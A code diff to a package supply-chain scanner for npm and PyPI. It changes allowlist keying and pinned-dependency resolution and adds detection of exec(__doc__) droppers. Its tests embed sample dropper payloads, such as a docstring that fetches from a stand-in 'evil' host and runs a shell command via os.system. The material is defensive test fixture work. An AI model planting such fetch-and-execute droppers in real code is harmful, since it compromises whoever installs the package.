diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index c1639ab38e..c1d156d40a 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -1445,7 +1445,7 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N # ───────────────────────────────────────────────────────────────────── # Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate # can enforce without red-failing on rare legitimate-library behavior. -# Matched on ``(normalized package, basename(filename), pattern)`` -- not +# Matched on ``(normalized package, package-relative path, pattern)`` -- not # evidence text -- so a version bump does not reopen a finding, but a *new* # kind of finding in a listed file is a different pattern and still fails. # Mirrors scan_packages.py. Regenerate with ``--write-baseline``. @@ -1453,6 +1453,12 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") +# Bumped when the entry-key semantics change. v2 keys on the package-relative +# path; v1 stored only a basename, so a v1 entry could suppress a same-named file +# in a different directory. A pre-v2 baseline with entries is ignored (fail +# closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 2 + def _norm_pkg_name(display: str) -> str: """``@scope/pkg@1.2.3`` / ``pkg@1.2.3`` -> name without the version. @@ -1468,9 +1474,21 @@ def _norm_pkg_name(display: str) -> str: return s.lower() +_NPM_TARBALL_ROOT = "package/" + + +def _relpath_in_package(filename: str) -> str: + """Path within the published package, stable across version bumps. npm + tarballs root every file at ``package/``; strip it so the key is the real + source path (``dist/index.js``) and a new file with the same basename in a + different directory is not silently suppressed.""" + f = (filename or "").replace("\\", "/") + return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f + + def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, file basename, pattern.""" - return (_norm_pkg_name(f.package), os.path.basename(f.filename), f.pattern) + """Stable allowlist key: normalized package, package-relative path, pattern.""" + return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) def _load_baseline(path: str) -> set[tuple[str, str, str]]: @@ -1483,10 +1501,18 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() + entries = data.get("entries", []) + if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: + print( + f" [WARN] baseline schema v{data.get('version')} predates package-relative " + f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", + file = sys.stderr, + ) + return set() keys: set[tuple[str, str, str]] = set() - for e in data.get("entries", []): + for e in entries: try: - keys.add((_norm_pkg_name(e["package"]), os.path.basename(e["file"]), e["pattern"])) + keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) except (KeyError, TypeError): continue return keys @@ -1506,7 +1532,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> entries.append( { "package": _norm_pkg_name(f.package), - "file": os.path.basename(f.filename), + "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, "evidence": (f.evidence or f.detail)[:240], @@ -1516,10 +1542,10 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> "_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "basename(file), pattern); evidence/severity are for review only. " - "Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern); evidence/severity are for review " + "only. Regenerate with --write-baseline AFTER reviewing every line." ), - "version": 1, + "version": _BASELINE_SCHEMA_VERSION, "entries": entries, } with open(path, "w", encoding = "utf-8") as fh: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 18da8b68c8..61d8e74023 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, basename(file), pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 1, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 2, "entries": [] } diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index afa1189864..4be9fc5efb 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -534,12 +534,14 @@ def _is_fstring(tok_string: str) -> bool: return q > 0 and "f" in tok_string[:q].lower() -def _strip_noncode(content: str) -> str: +def _strip_noncode(content: str, blank_comments: bool = True) -> str: """Blank comments and bare docstrings so IOC patterns see code only. Removed regions become spaces (newlines kept) so line numbers stay exact for _extract_evidence. Fails open on tokenizer errors (the raw text is still - fully scanned, so a real detection is never lost). + fully scanned, so a real detection is never lost). ``blank_comments=False`` + keeps comments (only strings/docstrings blanked) to isolate the span that + exec() could actually run. """ try: toks = list(tokenize.generate_tokens(io.StringIO(content).readline)) @@ -552,8 +554,9 @@ def _strip_noncode(content: str) -> str: for i, tok in enumerate(toks): ttype = tok.type if ttype == tokenize.COMMENT: - spans.append((*tok.start, *tok.end)) - continue # do not advance prev_significant; comments are transparent + if blank_comments: + spans.append((*tok.start, *tok.end)) + continue # transparent; never advances prev_significant if ( ttype == tokenize.STRING and prev_significant in _LINE_START_TOKENS @@ -619,18 +622,44 @@ def _hidden_payload_findings( scanning yet ``exec(__doc__)`` / ``exec()`` could still run it.""" if not RE_EXEC_EVAL.search(stripped): return [] + # Only docstrings/strings run via exec(__doc__)/exec(); comments cannot. + # Isolate that span: keep comments as real code, take what string-blanking + # removed (length-preserved, so offsets stay exact for _extract_evidence). + code = _strip_noncode(original, blank_comments = False) + removed = "".join(o if o != s else " " for o, s in zip(original, code)) out = [] + + def _hidden(pat): + # Carrier present in a blanked region but NOT in real code. A carrier in + # real code is already caught by the normal check, so restricting to + # blanked-only avoids re-flagging legitimate in-code constants. + return bool(pat.search(removed)) and not pat.search(stripped) + for pat, label in _HIDDEN_PAYLOAD_PATTERNS: - if pat.search(original) and not pat.search(stripped): + if _hidden(pat): out.append( Finding( HIGH, package, filename, "exec/eval with payload hidden in a docstring/string", - f"{label}: {_extract_evidence(original, pat)}", + f"{label}: {_extract_evidence(removed, pat)}", ) ) + # Fetch-then-run dropper: a network call AND an os/subprocess exec that both + # live in the blanked region. Search the removed span directly (not "absent + # from real code") so a benign visible network/subprocess call cannot mask + # the docstring payload. + if RE_NETWORK.search(removed) and RE_SUBPROCESS.search(removed): + out.append( + Finding( + HIGH, + package, + filename, + "exec/eval with hidden network+exec payload", + f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}", + ) + ) return out @@ -1560,6 +1589,9 @@ _RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]") # no build, same no-exec guarantee. Transport failures are still exit 2; only # "no wheel" is downgraded to a direct fetch. +# How many levels of indirect-dep recovery to chase (a wheel dep whose own child +# is sdist-only, and so on). Bounded with dedup so recovery always terminates. +_MAX_DEP_FOLLOWUP_DEPTH = 2 _SDIST_DOWNLOAD_TIMEOUT = 180 # Never fetch an archive larger than we would be willing to scan (iter_archive_files cap). _MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES @@ -1573,9 +1605,14 @@ def _spec_pin_version(spec: str) -> str | None: return m.group(1) if m else None -def _pypi_json(name: str) -> dict | None: - """Fetch a project's PyPI metadata JSON (read-only HTTPS GET, no exec); None on error.""" - url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + "/json" +def _pypi_json(name: str, version: str | None = None) -> dict | None: + """Fetch PyPI metadata JSON (read-only HTTPS GET, no exec); None on error. + With ``version`` it fetches that release's document, whose ``requires_dist`` + is accurate for the pin (the project-level doc describes only the latest).""" + url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + if version: + url += "/" + urllib.parse.quote(version, safe = "") + url += "/json" try: req = urllib.request.Request(url, headers = {"Accept": "application/json"}) with urllib.request.urlopen(req, timeout = 30) as resp: @@ -1588,11 +1625,11 @@ def _pypi_json(name: str) -> dict | None: def _release_files(meta: dict, version: str | None) -> list[dict]: - """Distribution files for a specific version, or the latest release's files.""" - if version: - files = meta.get("releases", {}).get(version) - if files: - return files + """Files for a pinned version, else the latest release's. A pin that is + absent or empty returns [] (never the latest) so a yanked/bad pin fails + closed instead of a different artifact being scanned in its place.""" + if version is not None: + return meta.get("releases", {}).get(version) or [] return meta.get("urls", []) or [] @@ -1610,10 +1647,50 @@ def _is_trusted_pypi_url(url: str) -> bool: return parsed.scheme == "https" and parsed.hostname in _TRUSTED_PYPI_HOSTS -def _requires_dist_names(meta: dict, version: str | None) -> list[str]: +_MARKER_ENV_VARS = ( + "sys_platform", + "platform_system", + "platform_machine", + "platform_release", + "platform_version", + "platform_python_implementation", + "os_name", + "python_version", + "python_full_version", + "implementation_name", + "implementation_version", +) + + +def _marker_holds_by_default(marker: str) -> bool: + """Keep (scan) a dep unless its marker is purely ``extra``-gated. The scanner + runs on one OS/Python but a package may be installed on another, so a marker + that can be true on a different target (``sys_platform == 'win32'``, + ``python_version == '3.13'``) is always kept; only a marker depending solely + on ``extra`` and false with no extra requested is dropped. Conservative: on + any uncertainty, keep (over-scan, never silently skip).""" + m = marker.strip() + if not m or "extra" not in m: + return True # no extra gate: installed by default on some target -> scan + if any(v in m for v in _MARKER_ENV_VARS): + return True # also platform/python gated: true on some target -> scan + # Pure extra marker: decide by evaluating with no extra requested. + try: + from packaging.markers import Marker, default_environment + + env = default_environment() + env["extra"] = "" + return bool(Marker(m).evaluate(env)) + except Exception: + # packaging missing/unparseable: drop only a pure positive extra-equality. + return re.fullmatch(r"\s*extra\s*==\s*['\"][^'\"]+['\"]\s*", m) is None + + +def _requires_dist_names(meta: dict) -> list[str]: """Transitive dep specs (name + version specifier) from metadata, to recover a sdist-only package's tree. The specifier is kept so a pinned malicious - version is fetched, not latest. Skips ``extra``-gated deps.""" + version is fetched, not latest. Drops deps whose marker cannot hold for a + default install.""" info = meta.get("info", {}) or {} reqs = info.get("requires_dist") or [] specs: list[str] = [] @@ -1623,8 +1700,8 @@ def _requires_dist_names(meta: dict, version: str | None) -> list[str]: head = r if ";" in r: head, marker = r.split(";", 1) - if "extra" in marker: - continue # optional extra; default install would not pull it + if not _marker_holds_by_default(marker): + continue if not _RE_NAME.match(head.strip()): continue # "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly). @@ -1632,6 +1709,30 @@ def _requires_dist_names(meta: dict, version: str | None) -> list[str]: return specs +def _requires_dist_for( + name: str, + version: str | None, + project_meta: dict, + errors: list[str] | None = None, +) -> list[str]: + """Declared deps for the pinned version, read from that release's metadata + (its ``requires_dist`` can differ from latest). Unpinned uses the + project-level (latest) document. A pinned version whose own metadata cannot + be fetched returns [] (never latest's deps) and, when ``errors`` is given, + records an incomplete-scan error so a partial tree is not read as "no deps".""" + if not version: + return _requires_dist_names(project_meta) + vmeta = _pypi_json(name, version) + if vmeta is None: + msg = f"metadata fetch failed for pinned {name}=={version}; dependency scan incomplete" + if errors is None: + print(f" [WARN] {msg}", file = sys.stderr) + else: + errors.append(msg) + return [] + return _requires_dist_names(vmeta) + + def _download_sdist_direct( name: str, version: str | None, @@ -1751,7 +1852,7 @@ def _resolve_per_spec_with_deps( if fpath is None: download_errors.append(serr or f"sdist fetch failed for {name}") continue - sdist_dep_followups.extend(_requires_dist_names(meta, version)) + sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors)) continue # Has a wheel but the full transitive tree won't co-resolve # (ResolutionImpossible) -- typically a package the requirement file @@ -1785,7 +1886,7 @@ def _resolve_per_spec_with_deps( # which --no-deps skips. Recover the declared deps so that class is # still scanned (each is fetched as a wheel or direct sdist below). if meta is not None: - sdist_dep_followups.extend(_requires_dist_names(meta, version)) + sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors)) continue # --no-deps also failed: last-ditch sdist fetch at the pinned version. if meta is not None: @@ -1796,15 +1897,21 @@ def _resolve_per_spec_with_deps( f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}" ) - # Recover the transitive deps of sdist-only packages (deduped, one level). - # `dep` carries the declared version specifier so a pinned version is fetched. + # Recover the transitive deps of sdist-only packages. A depth-bounded, + # deduped worklist so a wheel dep whose own child is sdist-only is itself + # fetched (--no-deps) and scanned -- not silently dropped -- and that child + # is then recovered in turn. `dep` carries the version specifier so a pinned + # version is fetched. seen: set[str] = set() - for dep in sdist_dep_followups: + worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups] + while worklist: + dep, depth = worklist.pop() dep_name = _extract_pkg_name(dep) key = _norm_pkg(dep_name) if key in seen: continue seen.add(key) + dep_ver = _spec_pin_version(dep) cmd = [ sys.executable, "-m", @@ -1822,14 +1929,44 @@ def _resolve_per_spec_with_deps( continue if proc.returncode == 0: continue - dep_ver = _spec_pin_version(dep) meta = _pypi_json(dep_name) - if meta is not None and not _release_has_wheel(meta, dep_ver): + if meta is None: + print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr) + continue + if not _release_has_wheel(meta, dep_ver): fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta) if fpath is None: print(f" [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr) - else: + elif depth < _MAX_DEP_FOLLOWUP_DEPTH: + worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + continue + # Wheel published but its tree won't co-resolve (a sdist-only child). + # Fetch the dep alone so it is scanned, then chase its own declared deps. + nd_cmd = [ + sys.executable, + "-m", + "pip", + "download", + "--no-deps", + *_PIP_DOWNLOAD_PIN_FLAGS, + "--dest", + dest, + dep, + ] + try: + nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env) + except subprocess.TimeoutExpired: + print(f" [WARN] dep --no-deps timed out for {dep}", file = sys.stderr) + continue + if nd.returncode == 0: + if depth < _MAX_DEP_FOLLOWUP_DEPTH: + worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + continue + fpath, _serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta) + if fpath is None: print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr) + elif depth < _MAX_DEP_FOLLOWUP_DEPTH: + worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) def download_packages( diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py index 45d1d42877..ec9af37785 100644 --- a/tests/security/test_scan_npm_packages.py +++ b/tests/security/test_scan_npm_packages.py @@ -340,22 +340,32 @@ def test_norm_pkg_name_strips_version_keeps_scope(): def test_baseline_key_is_version_stable(): - # Same package/file/pattern across a version bump -> identical key. - a = _finding("left-pad@1.0.0", "node_modules/left-pad/index.js", "obfuscated-blob") - b = _finding("left-pad@9.9.9", "left-pad/index.js", "obfuscated-blob") + # Same in-package path across a version bump -> identical key. npm tarballs + # root every file at ``package/``, so the path is stable; only the version in + # the display name changes. + a = _finding("left-pad@1.0.0", "package/index.js", "obfuscated-blob") + b = _finding("left-pad@9.9.9", "package/index.js", "obfuscated-blob") assert snp._finding_key(a) == snp._finding_key(b) +def test_baseline_key_distinguishes_same_basename_diff_dir(): + # Package-relative keying: the same basename in a different directory is a + # DIFFERENT key, so a new dist/ vs src/ file is not silently suppressed. + a = _finding("pkg@1.0.0", "package/dist/index.js", "obfuscated-blob") + b = _finding("pkg@1.0.0", "package/src/index.js", "obfuscated-blob") + assert snp._finding_key(a) != snp._finding_key(b) + + def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path): bl = tmp_path / "bl.json" bl.write_text( json.dumps( { - "version": 1, + "version": snp._BASELINE_SCHEMA_VERSION, "entries": [ { "package": "aws-sdk", - "file": "metadata.js", + "file": "package/metadata.js", "pattern": "cred-surface-host (outbound)", "severity": "HIGH", } @@ -366,9 +376,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path): ) baseline = snp._load_baseline(str(bl)) - listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)") - # A new pattern in the same file must NOT be suppressed. - new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob") + listed = _finding("aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)") + # A NEW kind of finding in the SAME file is a different pattern -> not suppressed. + new_kind = _finding("aws-sdk@2.0.0", "package/metadata.js", "obfuscated-blob") active, suppressed = snp._partition_baseline([listed, new_kind], baseline) assert listed in suppressed assert new_kind in active @@ -377,9 +387,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path): def test_write_then_load_baseline_roundtrip(tmp_path): bl = tmp_path / "out.json" findings = [ - _finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL), - _finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL), # dup - _finding("noise@1.0.0", "noise/b.js", "js-env-token", snp.MEDIUM), # below thresh + _finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL), + _finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL), # dup + _finding("noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM), # below thresh ] n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH]) assert n == 1 # dedup + MEDIUM excluded @@ -389,6 +399,25 @@ def test_write_then_load_baseline_roundtrip(tmp_path): assert all(k[2] != "js-env-token" for k in keys) +def test_legacy_schema_baseline_is_ignored(tmp_path): + # A pre-v2 baseline stored basenames; its keys are ambiguous under + # package-relative matching, so a populated legacy file is ignored (fail + # closed) rather than silently suppressing a different same-named file. + bl = tmp_path / "legacy.json" + bl.write_text( + json.dumps( + { + "version": 1, + "entries": [ + {"package": "aws-sdk", "file": "index.js", "pattern": "obfuscated-blob"} + ], + } + ), + encoding = "utf-8", + ) + assert snp._load_baseline(str(bl)) == set() + + def test_committed_baseline_is_empty_and_valid(): # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean. path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json" diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py index 19205a2842..91331668d6 100644 --- a/tests/security/test_scan_packages.py +++ b/tests/security/test_scan_packages.py @@ -356,6 +356,65 @@ def test_exec_with_payload_hidden_in_docstring_flagged(): assert not any("hidden in a docstring" in f.check for f in findings2) +def test_hidden_network_plus_exec_payload_flagged(): + # exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds + # BOTH a network fetch and an os/shell exec. Neither is a blob, but together + # they are the payload, so the gate must flag the pair. + payload = ( + "import urllib.request, os\n" + "urllib.request.urlopen('http://x/y').read()\n" + "os.system('sh -c id')\n" + ) + src = '"""' + payload + '"""\nexec(__doc__)\n' + findings = sp.check_py_file(src, "pkg/dropper.py", "pkg") + assert any("hidden network+exec payload" in f.check for f in findings) + + +def test_real_code_network_and_subprocess_not_hidden_combo(): + # Both calls live in REAL code (covered by the normal checks); the hidden + # network+exec combo must NOT also fire on them. + src = ( + "import subprocess, urllib.request\n" + "def run():\n" + " urllib.request.urlopen('http://x').read()\n" + " subprocess.Popen(['sh'])\n" + "exec('1 + 1')\n" + ) + findings = sp.check_py_file(src, "pkg/real.py", "pkg") + assert not any("hidden network+exec payload" in f.check for f in findings) + + +def test_hidden_payload_survives_visible_decoy(): + # A benign visible network call must not mask a docstring payload: the + # detector inspects the removed (blanked) span, not the whole stripped file. + payload = ( + "import urllib.request, os\n" + "urllib.request.urlopen('http://evil/x').read()\n" + "os.system('sh -c id')\n" + ) + src = ( + '"""' + payload + '"""\n' + "import urllib.request\n" + "urllib.request.urlopen('http://benign/ok')\n" # visible decoy + "exec(__doc__)\n" + ) + findings = sp.check_py_file(src, "pkg/dropper.py", "pkg") + assert any("hidden network+exec payload" in f.check for f in findings) + + +def test_comment_only_network_exec_not_flagged(): + # Tokens only in comments are not executable by exec(); the hidden network+exec + # check inspects strings/docstrings (not comments), so this must stay clean. + src = ( + "code = 'x = 1'\n" + "exec(code)\n" + "# urllib.request.urlopen('http://host/p').read()\n" + "# subprocess.run(['sh', '-c', 'id'])\n" + ) + findings = sp.check_py_file(src, "pkg/ex.py", "pkg") + assert not any("hidden network+exec payload" in f.check for f in findings) + + def test_baseline_suppresses_listed_but_not_new_check(tmp_path): bl = tmp_path / "bl.json" listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected") @@ -467,16 +526,87 @@ def test_requires_dist_skips_extras(): "numpy (>=1.20)", "torch ; extra == 'dev'", # optional extra -> skipped "pyyaml>=5 ; python_version >= '3.8'", # non-extra marker -> kept + "payload>=1 ; extra != 'dev'", # default-true marker -> kept ], ) - specs = sp._requires_dist_names(meta, None) - # Version constraints preserved so a pinned dep is fetched, not latest. + specs = sp._requires_dist_names(meta) + # Version constraints are preserved so a pinned dep is fetched, not latest. assert "numpy>=1.20" in specs assert "pyyaml>=5" in specs - # The extra-gated dep is skipped entirely. + # A default-true marker that merely mentions ``extra`` is NOT optional. + assert "payload>=1" in specs + # The extra-gated dep is skipped entirely (no torch under any form). assert not any(sp._extract_pkg_name(s) == "torch" for s in specs) +def test_marker_holds_by_default(): + # Optional only when the extra is the sole gate. + assert sp._marker_holds_by_default("extra == 'dev'") is False + assert sp._marker_holds_by_default('extra == "dev"') is False + # Default-true markers that mention extra must be kept. + assert sp._marker_holds_by_default("extra != 'dev'") is True + assert sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True + # No marker / plain env marker -> kept. + assert sp._marker_holds_by_default("") is True + # Platform/python markers are kept: the scanner runs on one target but the + # package may install on another, so these deps must still be scanned. + assert sp._marker_holds_by_default("sys_platform == 'win32'") is True + assert sp._marker_holds_by_default("python_version == '3.13'") is True + assert sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'") is True + + +def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch): + # The pinned release's own metadata cannot be fetched -> recover nothing + # rather than substituting the latest release's (wrong) dependency tree. + project = _meta([], requires = ["latestdep==9.9.9"]) + monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project) + assert sp._requires_dist_for("oldpkg", "1.0.0", project) == [] + + +def test_requires_dist_for_uses_pinned_release(monkeypatch): + # Project-level (latest) metadata declares no malicious dep; the pinned + # release does. _requires_dist_for must follow the pinned release's tree. + project = _meta([], requires = ["harmless>=1"]) + pinned = _meta([], requires = ["payload==1.0.0"]) + monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project) + specs = sp._requires_dist_for("oldpkg", "1.0.0", project) + assert "payload==1.0.0" in specs + assert "harmless>=1" not in specs + + +def test_requires_dist_for_records_incomplete_scan_error(monkeypatch): + # Missing pinned metadata must surface an incomplete-scan error, not a silent + # [] that a caller cannot tell apart from a genuine no-deps release. + project = _meta([], requires = ["latestdep==9.9.9"]) + monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project) + errors: list[str] = [] + assert sp._requires_dist_for("oldpkg", "1.0.0", project, errors) == [] + assert errors and "incomplete" in errors[0] + + +def test_release_files_pinned_missing_fails_closed(): + # A pin absent from metadata must NOT fall back to the latest artifact. + meta = _meta( + [_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")], + version = "2.0.0", + ) + assert sp._release_files(meta, "9.9.9") == [] # missing pin -> empty, not latest + assert sp._release_has_wheel(meta, "9.9.9") is False + assert sp._release_files(meta, "2.0.0") # present pin still resolves + assert sp._release_files(meta, None) # unpinned still uses latest + + +def test_download_sdist_direct_missing_pin_does_not_scan_latest(tmp_path): + # Pinned version absent -> no sdist returned (never the latest file). + meta = _meta( + [_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")], + version = "2.0.0", + ) + fpath, err = sp._download_sdist_direct("x", "9.9.9", str(tmp_path), meta = meta) + assert fpath is None and "no sdist" in err + assert list(tmp_path.iterdir()) == [] + + def test_download_sdist_direct_refuses_non_pypi_url(tmp_path): meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")]) fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta) @@ -494,7 +624,8 @@ def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch payload = b"\x1f\x8b" + b"fake-tar-gz-bytes" monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload)) meta = _meta( - [_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")] + [_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")], + version = "1.1.6", ) fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta) assert err is None and fpath is not None @@ -520,10 +651,12 @@ def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch): monkeypatch.setattr( sp, "_pypi_json", - lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]), + lambda name, version = None: _meta( + [_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")] + ), ) errors: list[str] = [] - sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors) + sp._resolve_per_spec_with_deps(["somepkg==1.0.0"], str(tmp_path), {}, errors) assert errors and "somepkg" in errors[0] @@ -537,7 +670,7 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch): monkeypatch.setattr( sp, "_pypi_json", - lambda name: _meta( + lambda name, version = None: _meta( [_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")] ), )